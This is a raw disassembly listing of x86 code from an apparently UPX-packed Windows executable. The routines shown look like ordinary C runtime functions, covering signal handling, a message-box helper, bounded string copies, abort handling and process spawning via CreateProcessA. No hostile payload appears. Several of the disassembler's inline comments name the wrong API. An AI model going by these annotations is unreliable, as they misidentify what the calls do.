var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0041386C SIZE 00000006 BYTES
push 20h
push offset dword_426C70
call __SEH_prolog4
xor edi, edi
mov [ebp+var_1C], edi
mov [ebp+var_28], edi
mov ebx, [ebp+arg_0]
cmp ebx, 0Bh
jg short loc_41372A
jz short loc_4136F5
mov eax, ebx
push 2
pop ecx
sub eax, ecx
jz short loc_41370B
sub eax, ecx
jz short loc_4136F5
sub eax, ecx
jz short loc_413755
sub eax, ecx
jnz short loc_413739
loc_4136F5: ; CODE XREF: sub_4136C2+1Cj
; sub_4136C2+29j
call sub_40E316
mov edi, eax
mov [ebp+var_28], edi
test edi, edi
jnz short loc_413717
loc_413703: ; CODE XREF: sub_4136C2+91j
or eax, 0FFFFFFFFh
jmp loc_41386C
; ---------------------------------------------------------------------------
loc_41370B: ; CODE XREF: sub_4136C2+25j
mov esi, offset dword_42ED48
mov eax, dword_42ED48
jmp short loc_413777
; ---------------------------------------------------------------------------
loc_413717: ; CODE XREF: sub_4136C2+3Fj
push dword ptr [edi+5Ch]
mov edx, ebx
call sub_41367E
mov esi, eax
add esi, 8
mov eax, [esi]
jmp short loc_413784
; ---------------------------------------------------------------------------
loc_41372A: ; CODE XREF: sub_4136C2+1Aj
mov eax, ebx
sub eax, 0Fh
jz short loc_41376D
sub eax, 6
jz short loc_413761
dec eax
jz short loc_413755
loc_413739: ; CODE XREF: sub_4136C2+31j
call sub_40C862
mov dword ptr [eax], 16h
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40B255
add esp, 14h
jmp short loc_413703
; ---------------------------------------------------------------------------
loc_413755: ; CODE XREF: sub_4136C2+2Dj
; sub_4136C2+75j
mov esi, offset dword_42ED50
mov eax, dword_42ED50
jmp short loc_413777
; ---------------------------------------------------------------------------
loc_413761: ; CODE XREF: sub_4136C2+72j
mov esi, offset dword_42ED4C
mov eax, dword_42ED4C
jmp short loc_413777
; ---------------------------------------------------------------------------
loc_41376D: ; CODE XREF: sub_4136C2+6Dj
mov esi, offset dword_42ED54
mov eax, dword_42ED54
loc_413777: ; CODE XREF: sub_4136C2+53j
; sub_4136C2+9Dj ...
mov [ebp+var_1C], 1
push eax
call sub_40E143
loc_413784: ; CODE XREF: sub_4136C2+66j
mov [ebp+var_20], eax
pop ecx
xor eax, eax
cmp [ebp+var_20], 1
jz loc_41386C
cmp [ebp+var_20], eax
jnz short loc_4137A0
push 3
call sub_40DD56
loc_4137A0: ; CODE XREF: sub_4136C2+D5j
cmp [ebp+var_1C], eax
jz short loc_4137AC
push eax
call sub_40CFA9
pop ecx
loc_4137AC: ; CODE XREF: sub_4136C2+E1j
xor eax, eax
mov [ebp+ms_exc.disabled], eax
cmp ebx, 8
jz short loc_4137C0
cmp ebx, 0Bh
jz short loc_4137C0
cmp ebx, 4
jnz short loc_4137DB
loc_4137C0: ; CODE XREF: sub_4136C2+F2j
; sub_4136C2+F7j
mov ecx, [edi+60h]
mov [ebp+var_2C], ecx
mov [edi+60h], eax
cmp ebx, 8
jnz short loc_41380E
mov ecx, [edi+64h]
mov [ebp+var_30], ecx
mov dword ptr [edi+64h], 8Ch
loc_4137DB: ; CODE XREF: sub_4136C2+FCj
cmp ebx, 8
jnz short loc_41380E
mov ecx, dword_42A3D0
mov [ebp+var_24], ecx
loc_4137E9: ; CODE XREF: sub_4136C2+14Aj
mov ecx, dword_42A3D4
mov edx, dword_42A3D0
add ecx, edx
cmp [ebp+var_24], ecx
jge short loc_413815
mov ecx, [ebp+var_24]
imul ecx, 0Ch
mov edx, [edi+5Ch]
mov [ecx+edx+8], eax
inc [ebp+var_24]
jmp short loc_4137E9
; ---------------------------------------------------------------------------
loc_41380E: ; CODE XREF: sub_4136C2+10Aj
; sub_4136C2+11Cj
call sub_40E13A
mov [esi], eax
loc_413815: ; CODE XREF: sub_4136C2+138j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_413836
cmp ebx, 8
jnz short sub_413845
push dword ptr [edi+64h]
push ebx
call [ebp+var_20]
pop ecx
jmp short loc_413849
sub_4136C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413830 proc near ; DATA XREF: UPX0:00426C88o
mov ebx, [ebp+8]
mov edi, [ebp-28h]
sub_413830 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413836 proc near ; CODE XREF: sub_4136C2+15Ap
cmp dword ptr [ebp-1Ch], 0
jz short locret_413844
push 0
call sub_40CECF
pop ecx
locret_413844: ; CODE XREF: sub_413836+4j
retn
sub_413836 endp
; =============== S U B R O U T I N E =======================================
sub_413845 proc near ; CODE XREF: sub_4136C2+162j
push ebx
call dword ptr [ebp-20h]
loc_413849: ; CODE XREF: sub_4136C2+16Cj
pop ecx
cmp ebx, 8
jz short loc_413859
cmp ebx, 0Bh
jz short loc_413859
cmp ebx, 4
jnz short loc_41386A
loc_413859: ; CODE XREF: sub_413845+8j
; sub_413845+Dj
mov eax, [ebp-2Ch]
mov [edi+60h], eax
cmp ebx, 8
jnz short loc_41386A
mov eax, [ebp-30h]
mov [edi+64h], eax
loc_41386A: ; CODE XREF: sub_413845+12j
; sub_413845+1Dj
xor eax, eax
sub_413845 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_4136C2
loc_41386C: ; CODE XREF: sub_4136C2+44j
; sub_4136C2+CCj
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_4136C2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413872 proc near ; CODE XREF: sub_40DD8A+23p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword_42ED5C, eax
pop ebp
retn
sub_413872 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413881 proc near ; CODE XREF: sub_40DD8A+1Dp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword_42ED68, eax
pop ebp
retn
sub_413881 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413890 proc near ; CODE XREF: sub_40DDD8+16Ap
var_24 = dword ptr -24h
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
call sub_40E13A
and [ebp+var_4], 0
cmp dword_42ED6C, 0
mov ebx, eax
jnz loc_413941
push offset aUser32_dll ; "USER32.DLL"
call dword_41D0DC ; LoadLibraryA
mov edi, eax
test edi, edi
jz loc_4139F2
mov esi, dword_41D0D8
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; dword_41D0D8
test eax, eax
jz loc_4139F2
push eax
call sub_40E0C8
mov [esp+24h+var_24], offset aGetactivewindo ; "GetActiveWindow"
push edi
mov dword_42ED6C, eax
call esi ; dword_41D0D8
push eax
call sub_40E0C8
mov [esp+24h+var_24], offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_42ED70, eax
call esi ; dword_41D0D8
push eax
call sub_40E0C8
mov [esp+24h+var_24], offset aGetuserobjecti ; "GetUserObjectInformationA"
push edi
mov dword_42ED74, eax
call esi ; dword_41D0D8
push eax
call sub_40E0C8
pop ecx
mov dword_42ED7C, eax
test eax, eax
jz short loc_413941
push offset aGetprocesswind ; "GetProcessWindowStation"
push edi
call esi ; dword_41D0D8
push eax
call sub_40E0C8
pop ecx
mov dword_42ED78, eax
loc_413941: ; CODE XREF: sub_413890+1Dj
; sub_413890+9Bj
mov eax, dword_42ED78
cmp eax, ebx
jz short loc_413999
cmp dword_42ED7C, ebx
jz short loc_413999
push eax
call sub_40E143
push dword_42ED7C
mov esi, eax
call sub_40E143
pop ecx
pop ecx
mov edi, eax
test esi, esi
jz short loc_413999
test edi, edi
jz short loc_413999
call esi ; GetProcAddress
test eax, eax
jz short loc_413990
lea ecx, [ebp+var_8]
push ecx
push 0Ch
lea ecx, [ebp+var_14]
push ecx
push 1
push eax
call edi ; InterlockedIncrement
test eax, eax
jz short loc_413990
test [ebp+var_C], 1
jnz short loc_413999
loc_413990: ; CODE XREF: sub_413890+E5j
; sub_413890+F8j
or [ebp+arg_8], 200000h
jmp short loc_4139D2
; ---------------------------------------------------------------------------
loc_413999: ; CODE XREF: sub_413890+B8j
; sub_413890+C0j ...
mov eax, dword_42ED70
cmp eax, ebx
jz short loc_4139D2
push eax
call sub_40E143
pop ecx
test eax, eax
jz short loc_4139D2
call eax ; dword_42ED70
mov [ebp+var_4], eax
test eax, eax
jz short loc_4139D2
mov eax, dword_42ED74
cmp eax, ebx
jz short loc_4139D2
push eax
call sub_40E143
pop ecx
test eax, eax
jz short loc_4139D2
push [ebp+var_4]
call eax ; dword_42ED74
mov [ebp+var_4], eax
loc_4139D2: ; CODE XREF: sub_413890+107j
; sub_413890+110j ...
push dword_42ED6C
call sub_40E143
pop ecx
test eax, eax
jz short loc_4139F2
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push [ebp+var_4]
call eax ; dword_42ED78
jmp short loc_4139F4
; ---------------------------------------------------------------------------
loc_4139F2: ; CODE XREF: sub_413890+32j
; sub_413890+48j ...
xor eax, eax
loc_4139F4: ; CODE XREF: sub_413890+160j
pop edi
pop esi
pop ebx
leave
retn
sub_413890 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4139F9 proc near ; CODE XREF: sub_40DDD8+121p
; sub_40DDD8+146p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
push esi
push edi
cmp eax, ebx
jz short loc_413A11
mov edi, [ebp+arg_4]
cmp edi, ebx
ja short loc_413A2C
loc_413A11: ; CODE XREF: sub_4139F9+Fj
; sub_4139F9+3Cj
call sub_40C862
push 16h
pop esi
mov [eax], esi
loc_413A1B: ; CODE XREF: sub_4139F9+6Bj
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B255
add esp, 14h
mov eax, esi
jmp short loc_413A68
; ---------------------------------------------------------------------------
loc_413A2C: ; CODE XREF: sub_4139F9+16j
mov esi, [ebp+arg_8]
cmp esi, ebx
jnz short loc_413A37
loc_413A33: ; CODE XREF: sub_4139F9+4Aj
mov [eax], bl
jmp short loc_413A11
; ---------------------------------------------------------------------------
loc_413A37: ; CODE XREF: sub_4139F9+38j
mov edx, eax
loc_413A39: ; CODE XREF: sub_4139F9+46j
cmp [edx], bl
jz short loc_413A41
inc edx
dec edi
jnz short loc_413A39
loc_413A41: ; CODE XREF: sub_4139F9+42j
cmp edi, ebx
jz short loc_413A33
loc_413A45: ; CODE XREF: sub_4139F9+57j
mov cl, [esi]
mov [edx], cl
inc edx
inc esi
cmp cl, bl
jz short loc_413A52
dec edi
jnz short loc_413A45
loc_413A52: ; CODE XREF: sub_4139F9+54j
cmp edi, ebx
jnz short loc_413A66
mov [eax], bl
call sub_40C862
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_413A1B
; ---------------------------------------------------------------------------
loc_413A66: ; CODE XREF: sub_4139F9+5Bj
xor eax, eax
loc_413A68: ; CODE XREF: sub_4139F9+31j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4139F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A6D proc near ; CODE XREF: sub_40DDD8+FBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
push edi
cmp [ebp+arg_C], ebx
jnz short loc_413A8F
cmp esi, ebx
jnz short loc_413A93
cmp [ebp+arg_4], ebx
jnz short loc_413A9A
loc_413A88: ; CODE XREF: sub_413A6D+4Fj
; sub_413A6D+8Ej
xor eax, eax
loc_413A8A: ; CODE XREF: sub_413A6D+46j
; sub_413A6D+A0j
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_413A8F: ; CODE XREF: sub_413A6D+10j
cmp esi, ebx
jz short loc_413A9A
loc_413A93: ; CODE XREF: sub_413A6D+14j
mov edi, [ebp+arg_4]
cmp edi, ebx
ja short loc_413AB5
loc_413A9A: ; CODE XREF: sub_413A6D+19j
; sub_413A6D+24j ...
call sub_40C862
push 16h
pop esi
mov [eax], esi
loc_413AA4: ; CODE XREF: sub_413A6D+B3j
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B255
add esp, 14h
mov eax, esi
jmp short loc_413A8A
; ---------------------------------------------------------------------------
loc_413AB5: ; CODE XREF: sub_413A6D+2Bj
cmp [ebp+arg_C], ebx
jnz short loc_413ABE
mov [esi], bl
jmp short loc_413A88
; ---------------------------------------------------------------------------
loc_413ABE: ; CODE XREF: sub_413A6D+4Bj
mov edx, [ebp+arg_8]
cmp edx, ebx
jnz short loc_413AC9
mov [esi], bl
jmp short loc_413A9A
; ---------------------------------------------------------------------------
loc_413AC9: ; CODE XREF: sub_413A6D+56j
cmp [ebp+arg_C], 0FFFFFFFFh
mov eax, esi
jnz short loc_413AE0
loc_413AD1: ; CODE XREF: sub_413A6D+6Fj
mov cl, [edx]
mov [eax], cl
inc eax
inc edx
cmp cl, bl
jz short loc_413AF9
dec edi
jnz short loc_413AD1
jmp short loc_413AF9
; ---------------------------------------------------------------------------
loc_413AE0: ; CODE XREF: sub_413A6D+62j
; sub_413A6D+83j
mov cl, [edx]
mov [eax], cl
inc eax
inc edx
cmp cl, bl
jz short loc_413AF2
dec edi
jz short loc_413AF2
dec [ebp+arg_C]
jnz short loc_413AE0
loc_413AF2: ; CODE XREF: sub_413A6D+7Bj
; sub_413A6D+7Ej
cmp [ebp+arg_C], ebx
jnz short loc_413AF9
mov [eax], bl
loc_413AF9: ; CODE XREF: sub_413A6D+6Cj
; sub_413A6D+71j ...
cmp edi, ebx
jnz short loc_413A88
cmp [ebp+arg_C], 0FFFFFFFFh
jnz short loc_413B12
mov eax, [ebp+arg_4]
push 50h
mov [esi+eax-1], bl
pop eax
jmp loc_413A8A
; ---------------------------------------------------------------------------
loc_413B12: ; CODE XREF: sub_413A6D+94j
mov [esi], bl
call sub_40C862
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_413AA4
sub_413A6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B22 proc near ; CODE XREF: sub_40DDD8+31p
; sub_40DDD8+42p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
push esi
xor esi, esi
cmp ecx, esi
jl short loc_413B4F
cmp ecx, 2
jle short loc_413B42
cmp ecx, 3
jnz short loc_413B4F
mov eax, dword_42E3F8
jmp short loc_413B6A
; ---------------------------------------------------------------------------
loc_413B42: ; CODE XREF: sub_413B22+12j
mov eax, dword_42E3F8
mov dword_42E3F8, ecx
jmp short loc_413B6A
; ---------------------------------------------------------------------------
loc_413B4F: ; CODE XREF: sub_413B22+Dj
; sub_413B22+17j
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
loc_413B6A: ; CODE XREF: sub_413B22+1Ej
; sub_413B22+2Bj
pop esi
pop ebp
retn
sub_413B22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B6D proc near ; CODE XREF: sub_40E02B:loc_40E059p
var_328 = dword ptr -328h
var_31C = dword ptr -31Ch
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_244 = word ptr -244h
var_240 = word ptr -240h
var_23C = word ptr -23Ch
var_238 = word ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = word ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = word ptr -208h
var_4 = dword ptr -4
mov edi, edi
push ebp
mov ebp, esp
sub esp, 328h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
test byte_42AD18, 1
push esi
jz short loc_413B94
push 0Ah
call sub_40DDD8
pop ecx
loc_413B94: ; CODE XREF: sub_413B6D+1Dj
call sub_4136B5
test eax, eax
jz short loc_413BA5
push 16h
call sub_4136C2
pop ecx
loc_413BA5: ; CODE XREF: sub_413B6D+2Ej
test byte_42AD18, 2
jz loc_413C7C
mov [ebp+var_220], eax
mov [ebp+var_224], ecx
mov [ebp+var_228], edx
mov [ebp+var_22C], ebx
mov [ebp+var_230], esi
mov [ebp+var_234], edi
mov [ebp+var_208], ss
mov [ebp+var_214], cs
mov [ebp+var_238], ds
mov [ebp+var_23C], es
mov [ebp+var_240], fs
mov [ebp+var_244], gs
pushf
pop [ebp+var_210]
mov esi, [ebp+4]
lea eax, [ebp+4]
mov [ebp+var_20C], eax
mov [ebp+var_2D0], 10001h
mov [ebp+var_218], esi
mov eax, [eax-4]
push 50h
mov [ebp+var_21C], eax
lea eax, [ebp+var_328]
push 0
push eax
call sub_40BD40
lea eax, [ebp+var_328]
add esp, 0Ch
mov [ebp+var_2D8], eax
lea eax, [ebp+var_2D0]
push 0
mov [ebp+var_328], 40000015h
mov [ebp+var_31C], esi
mov [ebp+var_2D4], eax
call dword_41D1AC ; SetUnhandledExceptionFilter
lea eax, [ebp+var_2D8]
push eax
call dword_41D1B0 ; UnhandledExceptionFilter
loc_413C7C: ; CODE XREF: sub_413B6D+3Fj
push 3
call sub_40DD56
int 3 ; Trap to Debugger
sub_413B6D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C84 proc near ; CODE XREF: sub_40EC96+5Ap
var_68 = dword ptr -68h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 68h
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
push edi
mov [ebp+var_C], ebx
mov [ebp+var_1], bl
cmp eax, ebx
jz short loc_413CB2
cmp eax, 1
jz short loc_413CB2
jle short loc_413CBA
cmp eax, 3
jle short loc_413CB2
cmp eax, 4
jnz short loc_413CBA
mov [ebp+var_1], 1
loc_413CB2: ; CODE XREF: sub_413C84+17j
; sub_413C84+1Cj ...
mov eax, [ebp+arg_8]
mov [ebp+var_10], eax
jmp short loc_413CF2
; ---------------------------------------------------------------------------
loc_413CBA: ; CODE XREF: sub_413C84+1Ej
; sub_413C84+28j
call sub_40C875
mov [eax], ebx
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp loc_413E8F
; ---------------------------------------------------------------------------
loc_413CE1: ; CODE XREF: sub_413C84+60j
; sub_413C84+70j
inc eax
cmp [eax], bl
jnz short loc_413CE1
lea ecx, [eax+1]
cmp [ecx], bl
jz short loc_413CF2
mov byte ptr [eax], 20h
mov eax, ecx
loc_413CF2: ; CODE XREF: sub_413C84+34j
; sub_413C84+67j
cmp [eax], bl
jnz short loc_413CE1
push esi
push 44h
pop esi
push esi
lea eax, [ebp+var_68]
push ebx
push eax
call sub_40BD40
mov [ebp+var_68], esi
mov esi, dword_430148
add esp, 0Ch
cmp esi, ebx
jz short loc_413D40
lea eax, [esi-1]
loc_413D18: ; CODE XREF: sub_413C84+B2j
mov ecx, eax
mov edx, eax
sar ecx, 5
mov ecx, dword_430160[ecx*4]
and edx, 1Fh
shl edx, 6
cmp [ecx+edx+4], bl
jnz short loc_413D38
dec esi
dec eax
cmp esi, ebx
jnz short loc_413D18
loc_413D38: ; CODE XREF: sub_413C84+ACj
cmp esi, ebx
jl loc_413E80
loc_413D40: ; CODE XREF: sub_413C84+8Fj
cmp esi, 3332h
jnb loc_413E80
mov eax, esi
imul eax, 5
add eax, 4
mov [ebp+var_36], ax
movzx eax, ax
push 1
push eax
call sub_40EF6F
pop ecx
pop ecx
mov [ebp+var_34], eax
cmp eax, ebx
jz loc_413E80
cmp esi, ebx
mov [eax], esi
mov eax, [ebp+var_34]
lea ecx, [eax+4]
lea edi, [eax+esi+4]
mov [ebp+var_8], ebx
jle short loc_413DBC
loc_413D83: ; CODE XREF: sub_413C84+133j
mov eax, [ebp+var_8]
mov edx, eax
and eax, 1Fh
sar edx, 5
shl eax, 6
add eax, dword_430160[edx*4]
mov dl, [eax+4]
test dl, 10h
jnz short loc_413DA8
mov [ecx], dl
mov eax, [eax]
mov [edi], eax
jmp short loc_413DAD
; ---------------------------------------------------------------------------
loc_413DA8: ; CODE XREF: sub_413C84+11Aj
mov [ecx], bl
or dword ptr [edi], 0FFFFFFFFh
loc_413DAD: ; CODE XREF: sub_413C84+122j
inc [ebp+var_8]
inc ecx
add edi, 4
cmp [ebp+var_8], esi
jl short loc_413D83
mov eax, [ebp+var_34]
loc_413DBC: ; CODE XREF: sub_413C84+FDj
cmp [ebp+var_1], bl
jz short loc_413DED
lea ecx, [eax+4]
xor edx, edx
lea eax, [eax+esi+4]
loc_413DCA: ; CODE XREF: sub_413C84+160j
cmp esi, 3
jge short loc_413DD3
mov edi, esi
jmp short loc_413DD6
; ---------------------------------------------------------------------------
loc_413DD3: ; CODE XREF: sub_413C84+149j
push 3
pop edi
loc_413DD6: ; CODE XREF: sub_413C84+14Dj
cmp edx, edi
jge short loc_413DE6
mov [ecx], bl
or dword ptr [eax], 0FFFFFFFFh
inc edx
inc ecx
add eax, 4
jmp short loc_413DCA
; ---------------------------------------------------------------------------
loc_413DE6: ; CODE XREF: sub_413C84+154j
mov [ebp+var_C], 8
loc_413DED: ; CODE XREF: sub_413C84+13Bj
call sub_40C875
mov [eax], ebx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_68]
push eax
push ebx
push [ebp+arg_C]
push [ebp+var_C]
push 1
push ebx
push ebx
push [ebp+var_10]
push [ebp+arg_4]
call dword_41D124 ; CreateProcessA
mov esi, eax
call dword_41D1D8 ; RtlGetLastWin32Error
push [ebp+var_34]
mov edi, eax
call sub_40ADC8
pop ecx
cmp esi, ebx
jnz short loc_413E33
push edi
call sub_40C888
pop ecx
jmp short loc_413E8B
; ---------------------------------------------------------------------------
loc_413E33: ; CODE XREF: sub_413C84+1A4j
cmp [ebp+arg_0], 2
jnz short loc_413E3F
push ebx
call sub_40DD56
loc_413E3F: ; CODE XREF: sub_413C84+1B3j
mov esi, dword_41D0A8
cmp [ebp+arg_0], ebx
jnz short loc_413E67
push 0FFFFFFFFh
push [ebp+var_24]
call dword_41D06C ; WaitForSingleObject
lea eax, [ebp+var_14]
push eax
push [ebp+var_24]
call dword_41D128 ; GetExitCodeProcess
mov ebx, [ebp+var_14]
jmp short loc_413E6D
; ---------------------------------------------------------------------------
loc_413E67: ; CODE XREF: sub_413C84+1C4j
cmp [ebp+arg_0], 4
jnz short loc_413E74
loc_413E6D: ; CODE XREF: sub_413C84+1E1j
push [ebp+var_24]
call esi ; dword_41D0A8
jmp short loc_413E77
; ---------------------------------------------------------------------------
loc_413E74: ; CODE XREF: sub_413C84+1E7j
mov ebx, [ebp+var_24]
loc_413E77: ; CODE XREF: sub_413C84+1EEj
push [ebp+var_20]
call esi ; dword_41D0A8
mov eax, ebx
jmp short loc_413E8E
; ---------------------------------------------------------------------------
loc_413E80: ; CODE XREF: sub_413C84+B6j
; sub_413C84+C2j ...
call sub_40C862
mov dword ptr [eax], 0Ch
loc_413E8B: ; CODE XREF: sub_413C84+1ADj
or eax, 0FFFFFFFFh
loc_413E8E: ; CODE XREF: sub_413C84+1FAj
pop esi
loc_413E8F: ; CODE XREF: sub_413C84+58j
pop edi
pop ebx
leave
retn
sub_413C84 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E93 proc near ; CODE XREF: sub_40EC96+42p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 40h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, offset aSystemroot ; "SystemRoot"
lea edi, [ebp+var_10]
movsd
movsd
movsw
mov [ebp+var_2C], ecx
mov ecx, [ebp+arg_8]
xor ebx, ebx
mov [ebp+var_20], ecx
mov ecx, [ebp+arg_C]
movsb
push 2
mov [ebp+var_38], eax
mov edi, eax
mov eax, [eax]
mov [ebp+var_18], ecx
mov [ebp+var_24], ebx
mov [ebp+var_14], ebx
mov [ebp+var_3C], ebx
pop esi
jmp short loc_413EF1
; ---------------------------------------------------------------------------
loc_413EE1: ; CODE XREF: sub_413E93+60j
push eax
call sub_40BFB0
add edi, 4
lea esi, [esi+eax+1]
mov eax, [edi]
pop ecx
loc_413EF1: ; CODE XREF: sub_413E93+4Cj
cmp eax, ebx
jnz short loc_413EE1
push 1
push esi
mov [ebp+var_34], esi
call sub_40EF6F
mov esi, [ebp+var_20]
pop ecx
pop ecx
mov [esi], eax
cmp eax, ebx
jnz short loc_413F2E
mov eax, [ebp+var_18]
mov [eax], ebx
call sub_40C862
mov dword ptr [eax], 0Ch
call sub_40C875
mov dword ptr [eax], 8
or eax, 0FFFFFFFFh
jmp loc_41425D
; ---------------------------------------------------------------------------
loc_413F2E: ; CODE XREF: sub_413E93+76j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_14]
push ebx
push eax
call sub_415ADE
add esp, 0Ch
cmp eax, ebx
jz short loc_413F57
cmp eax, 16h
jnz short loc_413FB9
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_40B12D
add esp, 14h
jmp short loc_413FB9
; ---------------------------------------------------------------------------
loc_413F57: ; CODE XREF: sub_413E93+AEj
lea eax, [ebp+var_10]
push eax
call sub_40BFB0
mov edi, eax
inc edi
inc edi
pop ecx
mov [ebp+var_30], edi
cmp [ebp+var_14], ebx
jz short loc_413F7B
push [ebp+var_14]
call sub_40BFB0
add edi, eax
pop ecx
mov [ebp+var_30], edi
loc_413F7B: ; CODE XREF: sub_413E93+D8j
mov eax, [ebp+var_2C]
cmp eax, ebx
jz short loc_413FD1
push 2
mov esi, eax
mov eax, [eax]
pop edi
jmp short loc_413F9B
; ---------------------------------------------------------------------------
loc_413F8B: ; CODE XREF: sub_413E93+10Aj
push eax
call sub_40BFB0
add esi, 4
lea edi, [edi+eax+1]
mov eax, [esi]
pop ecx
loc_413F9B: ; CODE XREF: sub_413E93+F6j
cmp eax, ebx
jnz short loc_413F8B
mov eax, dword_42E3F0
cmp eax, ebx
jnz short loc_413FEB
call sub_40F8FA
mov dword_42E3F0, eax
cmp eax, ebx
jnz short loc_413FEB
mov esi, [ebp+var_20]
loc_413FB9: ; CODE XREF: sub_413E93+B3j
; sub_413E93+C2j
push dword ptr [esi]
or [ebp+var_24], 0FFFFFFFFh
call sub_40ADC8
mov eax, [ebp+var_18]
mov [esi], ebx
pop ecx
mov [eax], ebx
jmp loc_414236
; ---------------------------------------------------------------------------
loc_413FD1: ; CODE XREF: sub_413E93+EDj
mov eax, [ebp+var_18]
mov [eax], ebx
loc_413FD6: ; CODE XREF: sub_413E93+20Bj
mov edi, [ebp+var_38]
mov eax, [edi]
mov esi, [esi]
cmp eax, ebx
jnz loc_4140D6
inc esi
jmp loc_414140
; ---------------------------------------------------------------------------
loc_413FEB: ; CODE XREF: sub_413E93+113j
; sub_413E93+121j
mov [ebp+var_1C], ebx
cmp [eax], bl
jz short loc_41401A
mov cl, [eax]
mov esi, eax
loc_413FF6: ; CODE XREF: sub_413E93+185j
cmp cl, 3Dh
jz short loc_41401A
push esi
call sub_40BFB0
pop ecx
mov ecx, [ebp+var_1C]
lea ecx, [ecx+eax+1]
mov eax, dword_42E3F0
lea esi, [eax+ecx]
mov [ebp+var_1C], ecx
mov cl, [esi]
cmp cl, bl
jnz short loc_413FF6
loc_41401A: ; CODE XREF: sub_413E93+15Dj
; sub_413E93+166j
mov ecx, [ebp+var_1C]
mov [ebp+var_28], ecx
jmp short loc_41404D
; ---------------------------------------------------------------------------
loc_414022: ; CODE XREF: sub_413E93+1BFj
cmp [eax+1], bl
jz short loc_414054
cmp byte ptr [eax+2], 3Ah
jnz short loc_414054
cmp byte ptr [eax+3], 3Dh
jnz short loc_414054
add eax, 4
push eax
call sub_40BFB0
pop ecx
mov ecx, [ebp+var_28]
